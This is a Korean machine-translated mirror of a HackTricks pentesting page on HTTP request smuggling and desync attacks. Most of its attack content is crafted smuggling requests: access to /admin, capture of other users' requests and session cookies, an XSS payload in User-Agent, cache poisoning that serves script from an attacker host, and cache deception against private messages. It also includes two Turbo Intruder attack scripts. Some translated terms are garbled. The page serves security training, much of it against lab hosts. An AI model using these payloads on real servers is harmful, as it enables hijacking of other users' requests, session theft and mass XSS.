mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 06:30:37 +00:00

History

Translator 0a5c35cdfc Translated ['network-services-pentesting/700-pentesting-epp.md', 'networ		2024-03-15 22:17:20 +00:00
..
browser-http-request-smuggling.md	Translated to Korean	2024-02-10 21:30:13 +00:00
README.md	Translated ['network-services-pentesting/700-pentesting-epp.md', 'networ	2024-03-15 22:17:20 +00:00
request-smuggling-in-http-2-downgrades.md	Translated to Korean	2024-02-10 21:30:13 +00:00

README.md

HTTP 요청 스머글링 / HTTP Desync 공격

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면 구독 요금제를 확인하세요!
공식 PEASS & HackTricks 스왜그를 구매하세요
The PEASS Family를 발견하세요, 저희의 독점 NFTs 컬렉션
💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.

무엇인가요

이 취약점은 프론트엔드 프록시와 백엔드 서버 간의 비동기화로 인해 공격자가 프론트엔드 프록시(로드 밸런스/리버스 프록시)에 의해 단일 요청으로 해석되고 백엔드 서버에 의해 2개의 요청으로 해석되는 HTTP 요청을 보낼 수 있는 취약점입니다.
이를 통해 사용자는 자신의 다음 요청을 수정할 수 있습니다.

이론

RFC 명세서 (2161)

메시지가 Transfer-Encoding 헤더 필드와 Content-Length 헤더 필드를 모두 포함하는 경우, 후자는 무시되어야 합니다.

Content-Length

Content-Length 엔터티 헤더는 수신자에게 전송된 엔터티 본문의 바이트 크기를 나타냅니다.

Transfer-Encoding: chunked

Transfer-Encoding 헤더는 페이로드 본문을 안전하게 전송하기 위해 사용되는 인코딩 형식을 지정합니다.
Chunked는 대량 데이터가 일련의 청크로 전송되는 것을 의미합니다.

현실

프론트엔드 (로드 밸런스 / 리버스 프록시)는 content-length 또는 transfer-encoding 헤더를 처리하고 백엔드 서버는 다른 하나를 처리하여 2개의 시스템 간에 비동기화를 유발합니다.
이는 공격자가 리버스 프록시에 하나의 요청을 보낼 수 있게 해줍니다. 이 요청은 프론트엔드 서버에 의해 단일 요청으로 해석되고 백엔드 서버에 의해 2개의 다른 요청으로 해석됩니다. 이 기술의 위험은 백엔드 서버가 주입된 2번째 요청을 다음 클라이언트로부터 온 것으로 해석하고 해당 클라이언트의 실제 요청이 주입된 요청의 일부가 될 수 있다는 점에 있습니다.

특이사항

HTTP에서 새 줄 문자는 2바이트로 구성된다는 것을 기억하세요:

Content-Length: 이 헤더는 요청의 바디의 바이트 수를 나타내기 위해 10진수를 사용합니다. 바디는 마지막 문자로 끝나야 하며, 요청의 끝에 새 줄이 필요하지 않습니다.
Transfer-Encoding: 이 헤더는 다음 청크의 바이트 수를 나타내기 위해 16진수를 바디에서 사용합니다. 청크는 새 줄로 끝나야 하지만 이 새 줄은 길이 표시자에 포함되지 않습니다. 이 전송 방법은 0 크기의 청크 뒤에 2개의 새 줄이 따라야 합니다: 0
Connection: 내 경험에 따르면 요청 스머글링의 첫 요청에는 **Connection: keep-alive**를 사용하는 것이 좋습니다.

기본 예제

{% hint style="success" %} Burp Suite를 사용하여 이를 악용하려면 반복기에서 Update Content-Length 및 Normalize HTTP/1 line endings를 비활성화하세요. 일부 가젯이 새 줄, 캐리지 리턴 및 형식이 잘못된 content-length를 남용하기 때문입니다. {% endhint %}

HTTP 요청 스머글링 공격은 프론트엔드와 백엔드 서버가 Content-Length (CL) 및 Transfer-Encoding (TE) 헤더를 해석하는 방식의 불일치를 악용하는 모호한 요청을 보내어 생성됩니다. 이러한 공격은 주로 CL.TE, TE.CL, TE.TE로 나타납니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선순위에 따라 처리하는 독특한 조합을 나타냅니다. 서버가 동일한 요청을 다른 방식으로 처리하여 예상치 못한 악의적 결과를 초래하는 취약점이 발생합니다.

취약점 유형의 기본 예제

CL.TE 취약점 (프론트엔드에서 Content-Length 사용, 백엔드에서 Transfer-Encoding 사용)

프론트엔드 (CL): Content-Length 헤더를 기반으로 요청을 처리합니다.
백엔드 (TE): Transfer-Encoding 헤더를 기반으로 요청을 처리합니다.
공격 시나리오:
공격자가 Content-Length 헤더의 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다.
프론트엔드 서버는 Content-Length 값에 따라 전체 요청을 백엔드로 전달합니다.
백엔드 서버는 Transfer-Encoding: chunked 헤더로 청크 처리를 하여 남은 데이터를 별도의 후속 요청으로 해석합니다.
예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL 취약점 (프론트엔드에서 Transfer-Encoding 사용, 백엔드에서 Content-Length 사용)

프론트엔드 (TE): Transfer-Encoding 헤더를 기반으로 요청을 처리합니다.
백엔드 (CL): Content-Length 헤더를 기반으로 요청을 처리합니다.
공격 시나리오:
공격자가 청크 요청을 보내어 청크 크기 (7b)와 실제 콘텐츠 길이 (Content-Length: 4)가 일치하지 않도록 합니다.
프론트엔드 서버는 Transfer-Encoding을 준수하여 전체 요청을 백엔드로 전달합니다.
백엔드 서버는 Content-Length를 존중하여 요청의 초기 부분만 처리하고 나머지는 의도하지 않은 후속 요청의 일부로 남깁니다.
예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE 취약점 (양쪽 모두 사용하는 Transfer-Encoding, 난독화 포함)

서버: 둘 다 Transfer-Encoding을 지원하지만, 난독화를 통해 하나의 서버가 이를 무시하도록 속일 수 있음.
공격 시나리오:
공격자가 난독화된 Transfer-Encoding 헤더를 포함한 요청을 보냄.
어떤 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하면 CL.TE 또는 TE.CL 취약점을 악용할 수 있음.
요청의 처리되지 않은 부분이 서버 중 하나에 의해 본 후속 요청의 일부가 되어 스머글링이 발생함.
예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL 시나리오 (Front-End와 Back-End 모두에서 사용하는 Content-Length):

두 서버 모두 요청을 오로지 Content-Length 헤더를 기반으로 처리함.
이 시나리오는 일반적으로 서버가 요청 길이를 해석하는 방식에 일치하므로 스머글링으로 이어지지 않음.
예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

일반 요청

CL != 0 시나리오:

Content-Length 헤더가 존재하고 값이 0이 아닌 경우를 가리킴. 이는 요청 본문에 내용이 있는 것을 나타냄.
이는 스머글링 공격을 이해하고 만들 때 중요하며, 서버가 요청의 끝을 결정하는 방식에 영향을 줌.
예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

비어 있지 않은 본문

hop-by-hop 헤더를 통한 강제

hop-by-hop 헤더를 남용하여 프록시에게 Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시하여 HTTP 요청 스머글링을 악용할 수 있음.

Connection: Content-Length

HTTP 요청 스머글링 찾기

HTTP 요청 스머글링 취약점을 식별하는 것은 종종 서버가 조작된 요청에 응답하는 데 얼마나 오랜 시간이 걸리는지 관찰하는 타이밍 기술을 사용하여 달성할 수 있습니다. 이러한 기술은 CL.TE 및 TE.CL 취약점을 감지하는 데 특히 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구가 있습니다:

타이밍 기술을 사용하여 CL.TE 취약점 찾기

방법:
취약한 애플리케이션의 경우 추가 데이터를 기다리도록 만들 수 있는 요청을 보냅니다.
예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

관찰:
프론트엔드 서버는 Content-Length를 기반으로 요청을 처리하고 메시지를 일찍 잘라냅니다.
청엔드 서버는 청크 메시지를 기대하고 도착하지 않는 다음 청크를 기다리면서 지연이 발생합니다.
지표:
응답 시 타임아웃 또는 긴 지연.
백엔드 서버로부터 400 Bad Request 오류 수신, 때로는 자세한 서버 정보와 함께.

타이밍 기술을 사용하여 TE.CL 취약점 찾기

방법:
취약한 애플리케이션의 경우 추가 데이터를 기다리도록 만들 수 있는 요청을 보냅니다.
예시:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

관찰:
프론트엔드 서버는 Transfer-Encoding을 기반으로 요청을 처리하고 전체 메시지를 전달합니다.
백엔드 서버는 Content-Length를 기반으로 한 메시지를 기대하고 도착하지 않는 추가 데이터를 기다리면서 지연이 발생합니다.

취약점 찾기 위한 다른 방법

차이점 응답 분석:
요청의 약간 다른 버전을 보내고 서버 응답이 예상치 않은 방식으로 다른지 관찰하여 구문 분석 불일치를 나타내는지 확인합니다.
자동화된 도구 사용:
Burp Suite의 'HTTP Request Smuggler' 확장 프로그램과 같은 도구를 사용하여 모호한 요청의 다양한 형태를 보내고 응답을 분석하여 이러한 취약점을 자동으로 테스트할 수 있습니다.
Content-Length 변이 테스트:
실제 콘텐츠 길이와 일치하지 않는 다양한 Content-Length 값을 가진 요청을 보내고 서버가 이러한 불일치를 처리하는 방식을 관찰합니다.
Transfer-Encoding 변이 테스트:
왜곡되거나 잘못된 Transfer-Encoding 헤더를 가진 요청을 보내고 프론트엔드 및 백엔드 서버가 이러한 조작에 대해 어떻게 다르게 응답하는지 모니터링합니다.

HTTP 요청 스머글링 취약점 테스트

타이밍 기술의 효과를 확인한 후, 클라이언트 요청이 조작될 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 예를 들어 /로 요청을 보내어 404 응답을 유도하는 것입니다. 이전에 설명한 CL.TE 및 TE.CL 예제는 클라이언트의 요청을 독려하여 다른 리소스에 액세스하려는 클라이언트의 요청을 유도하는 방법을 보여줍니다.

주요 고려 사항

다른 요청에 간섭하여 요청 스머글링 취약점을 테스트할 때 다음을 염두에 두세요:

구별된 네트워크 연결: "공격" 및 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청에 동일한 연결을 사용하는 것은 취약점의 존재를 확인하지 않습니다.
일관된 URL 및 매개변수: 두 요청에 대해 동일한 URL 및 매개변수 이름을 사용하려고 노력하세요. 현대 애플리케이션은 URL 및 매개변수를 기반으로 특정 백엔드 서버로 요청을 라우팅하는 경우가 많습니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리되는 가능성이 높아지며, 성공적인 공격을 위한 전제 조건이 됩니다.
타이밍 및 경주 조건: "공격" 요청으로부터의 간섭을 감지하려는 "정상" 요청은 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청을 바로 뒤이어 "정상" 요청을 보내야 합니다. 바쁜 애플리케이션은 결정적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다.
부하 분산 도전: 부하 분산기로 작동하는 프론트엔드 서버는 요청을 여러 백엔드 시스템에 분산할 수 있습니다. "공격" 및 "정상" 요청이 다른 시스템에 도달하면 공격이 성공하지 않을 수 있습니다. 이 부하 분산 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.
의도하지 않은 사용자 영향: 공격이 다른 사용자의 요청에 영향을 미친 경우 (감지를 위해 보낸 "정상" 요청이 아닌 경우) 공격이 다른 애플리케이션 사용자에게 영향을 미친 것을 나타냅니다. 계속해서 테스트를 수행하면 다른 사용자를 방해할 수 있으므로 신중한 접근이 필요합니다.

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE 공격에서는 초기 요청에 Content-Length 헤더를 활용하고, 이어지는 내장 요청에는 Transfer-Encoding: chunked 헤더를 사용합니다. 프론트엔드 프록시는 초기 POST 요청을 처리하지만 내장된 GET /admin 요청을 검사하지 못하여 /admin 경로로의 무단 액세스를 허용합니다.

TE.CL 예시

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

반면에 TE.CL 공격에서 초기 POST 요청은 Transfer-Encoding: chunked를 사용하며, 이후 포함된 요청은 Content-Length 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 숨겨진 GET /admin 요청을 간과하여 제한된 /admin 경로에 액세스 권한을 부여합니다.

프론트엔드 요청 재작성 공개

응용 프로그램은 종종 프론트엔드 서버를 사용하여 백엔드 서버로 전달하기 전에 들어오는 요청을 수정합니다. 전형적인 수정 사항은 X-Forwarded-For: <클라이언트의 IP>와 같은 헤더를 추가하여 클라이언트의 IP를 백엔드로 전달하는 것입니다. 이러한 수정 사항을 이해하는 것은 보호 장치 우회 또는 숨겨진 정보나 엔드포인트 발견 방법을 밝혀낼 수 있기 때문에 중요할 수 있습니다.

프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 반향하는 POST 매개변수를 찾으세요. 그런 다음, 다음과 유사한 방식으로 이 매개변수를 마지막에 사용하여 요청을 작성하세요:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

이 구조에서는 search= 이후에 후속 요청 구성 요소가 추가되며, 이는 응답에 반영된 매개변수입니다. 이 반영은 후속 요청의 헤더를 노출시킵니다.

중첩된 요청의 Content-Length 헤더를 실제 콘텐츠 길이와 일치시키는 것이 중요합니다. 작은 값으로 시작하여 점진적으로 증가시키는 것이 좋습니다. 값이 너무 낮으면 반영된 데이터가 잘릴 수 있고, 값이 너무 높으면 요청이 오류가 발생할 수 있습니다.

이 기술은 TE.CL 취약점의 맥락에서도 적용 가능하지만, 요청은 search=\r\n0로 종료되어야 합니다. 줄 바꿈 문자와 관계없이 값은 검색 매개변수에 추가됩니다.

이 방법은 주로 프론트엔드 프록시에 의해 수행된 요청 수정을 이해하기 위한 것으로, 본질적으로 자체 조사를 수행합니다.

다른 사용자의 요청 캡처

POST 작업 중에 매개변수의 값으로 특정 요청을 추가함으로써 다음 사용자의 요청을 캡처하는 것이 가능합니다. 다음은 이를 수행하는 방법입니다:

다음 요청을 매개변수의 값으로 추가함으로써 후속 클라이언트의 요청을 저장할 수 있습니다:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

이 시나리오에서 comment parameter는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션 내의 내용을 저장하는 데 사용됩니다. 결과적으로 후속 요청의 내용은 댓글로 표시됩니다.

그러나 이 기술에는 제한이 있습니다. 일반적으로, 이 기술은 주입된 요청에서 사용된 매개변수 구분자까지의 데이터만 캡처합니다. URL 인코딩된 양식 제출의 경우, 이 구분자는 & 문자입니다. 이는 희생자 사용자의 요청에서 캡처된 내용이 첫 번째 &에서 중지됨을 의미하며, 이는 쿼리 문자열의 일부일 수도 있습니다.

추가로, TE.CL 취약점이 있는 경우에도 이 접근 방식이 유효합니다. 이러한 경우에는 요청이 search=\r\n0로 끝나야 합니다. 새 줄 문자와 관계없이 값은 검색 매개변수에 추가됩니다.

반사 XSS를 악용하기 위해 HTTP 요청 스머글링 사용

HTTP 요청 스머글링을 사용하면 반사 XSS에 취약한 웹 페이지를 악용할 수 있으며 다음과 같은 중요한 이점을 제공합니다:

대상 사용자와의 상호 작용이 필요하지 않습니다.
일반적으로 액세스할 수 없는 요청 부분에서 XSS를 악용할 수 있습니다. 예를 들어 HTTP 요청 헤더.

사용자 에이전트 헤더를 통해 반사 XSS에 취약한 웹 사이트의 시나리오에서 다음 payload는 이 취약점을 악용하는 방법을 보여줍니다:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

이 payload는 취약점을 악용하기 위해 구성되었습니다:

Transfer-Encoding: chunked 헤더가 포함된 POST 요청을 시작하여 스머글링의 시작을 나타냅니다.
0을 포함하여 청크 메시지 본문의 끝을 표시합니다.
그런 다음, 주입된 <script>alert(1)</script> 스크립트로 User-Agent 헤더가 포함된 스머글링된 GET 요청이 도입되어 서버가 이후 요청을 처리할 때 XSS를 트리거합니다.

User-Agent를 스머글링을 통해 조작함으로써, payload는 일반적인 요청 제약을 우회하여 Reflected XSS 취약점을 비표준적이지만 효과적인 방식으로 악용합니다.

HTTP 요청 스머글링을 사용하여 온사이트 리디렉션을 오픈 리디렉션으로 변환하기

HTTP 요청 스머글링을 사용하여 온사이트 리디렉션 악용하기

응용 프로그램은 종종 리디렉션을 위해 Host 헤더의 호스트 이름을 사용하여 한 URL에서 다른 URL로 리디렉션합니다. 이는 Apache 및 IIS와 같은 웹 서버에서 일반적입니다. 예를 들어, 슬래시가 누락된 폴더를 요청하면 슬래시를 포함한 리디렉션이 발생합니다:

GET /home HTTP/1.1
Host: normal-website.com

결과:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

비록 해롭지 않아 보이지만, HTTP 요청 스머글링을 사용하여 사용자를 외부 사이트로 리디렉션하는 데 조작할 수 있습니다. 예를 들어:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

다음 처리되는 사용자 요청이 공격자가 제어하는 웹사이트로 리다이렉트될 수 있습니다:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

결과:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

HTTP 요청 스머글링을 사용하여 웹 캐시 독려 수행

HTTP 요청 스머글링을 통한 웹 캐시 독려 악용

웹 캐시 독려는 프런트엔드 인프라의 어떤 구성 요소가 콘텐츠를 캐시하여 일반적으로 성능을 향상시키는 경우에 실행할 수 있습니다. 서버 응답을 조작함으로써 캐시를 독려할 수 있습니다.

이전에 서버 응답이 변경되어 404 오류를 반환하는 것을 관찰했습니다(자세한 내용은 기본 예제를 참조). 마찬가지로, 서버를 속여 /static/include.js 요청에 대해 /index.html 콘텐츠를 반환하도록 유도할 수 있습니다. 결과적으로, /static/include.js 콘텐츠는 /index.html의 콘텐츠로 캐시에 대체되어 사용자가 /static/include.js에 액세스할 수 없게 되어 서비스 거부(DoS)로 이어질 수 있습니다.

이 기술은 오픈 리다이렉트 취약점이 발견되거나 오픈 리다이렉트로의 온사이트 리다이렉트가 있는 경우 특히 강력해집니다. 이러한 취약점은 /static/include.js의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 대체하여 모든 클라이언트에 대한 대규모 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.

아래는 캐시 독려과 온사이트 리다이렉트에서 오픈 리다이렉트를 결합한 악용의 예시입니다. 목표는 /static/include.js의 캐시 콘텐츠를 공격자가 제어하는 JavaScript 코드로 변경하여 제공하는 것입니다:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

HTTP 요청 스머글링을 사용하여 웹 캐시 속임수 수행

/embedded 요청을 주목하세요. 이 요청은 /post/next?postId=3을 대상으로 합니다. 이 요청은 Host 헤더 값을 이용하여 도메인을 결정하고 /post?postId=4로 리디렉션됩니다. Host 헤더를 변경함으로써 공격자는 요청을 자신의 도메인으로 리디렉션할 수 있습니다 (온사이트 리디렉트에서 오픈 리디렉트로).

성공적인 소켓 독려 이후 /static/include.js에 대한 GET 요청을 시작해야 합니다. 이 요청은 이전 온사이트 리디렉트에서 오픈 리디렉트로 요청에 의해 오염되어 공격자가 제어하는 스크립트의 내용을 가져올 것입니다.

이후, /static/include.js에 대한 모든 요청은 공격자의 스크립트의 캐시된 내용을 제공하여 광범위한 XSS 공격을 실행할 수 있습니다.

웹 캐시 속임수를 수행하기 위해 HTTP 요청 스머글링 사용

웹 캐시 독려와 웹 캐시 속임수의 차이점은 무엇인가요?

웹 캐시 독려에서, 공격자는 응용 프로그램에 악의적인 콘텐츠를 캐시에 저장하도록 유도하고, 이 콘텐츠는 캐시에서 다른 응용 프로그램 사용자에게 제공됩니다.

웹 캐시 속임수에서, 공격자는 응용 프로그램에 다른 사용자에게 속한 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 그런 다음 공격자는 이 콘텐츠를 캐시에서 검색합니다.

공격자는 민감한 사용자별 콘텐츠를 가져오는 스멀그 요청을 작성합니다. 다음 예를 고려하세요:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

만약 이 밀반입된 요청이 정적 콘텐츠를 위한 캐시 엔트리를 오염시킨다면 (예: /someimage.png), 피해자의 민감한 데이터인 /private/messages가 정적 콘텐츠의 캐시 엔트리 아래 캐싱될 수 있습니다. 결과적으로 공격자는 이러한 캐싱된 민감한 데이터를 검색할 수 있습니다.

HTTP 응담 비동기화를 이용한 HTTP 요청 밀반입 무기화

HTTP 요청 밀반입 취약점을 발견했지만 이를 어떻게 악용해야 할지 모르겠다면 다른 악용 방법을 시도해보세요:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Turbo intruder 스크립트

CL.TE

https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

도구

https://github.com/anshumanpattnaik/http-request-smuggling
https://github.com/PortSwigger/http-request-smuggler
https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
https://github.com/defparam/smuggler
https://github.com/Moopinger/smugglefuzz
https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: 이 도구는 이상한 요청 스머글링 불일치를 찾는 데 유용한 문법 기반 HTTP Fuzzer입니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가로 배우세요!

HackTricks를 지원하는 다른 방법:

회사를 HackTricks에 광고하거나 PDF로 다운로드하려면 구독 요금제를 확인하세요!
공식 PEASS & HackTricks 스왜그를 구입하세요
The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.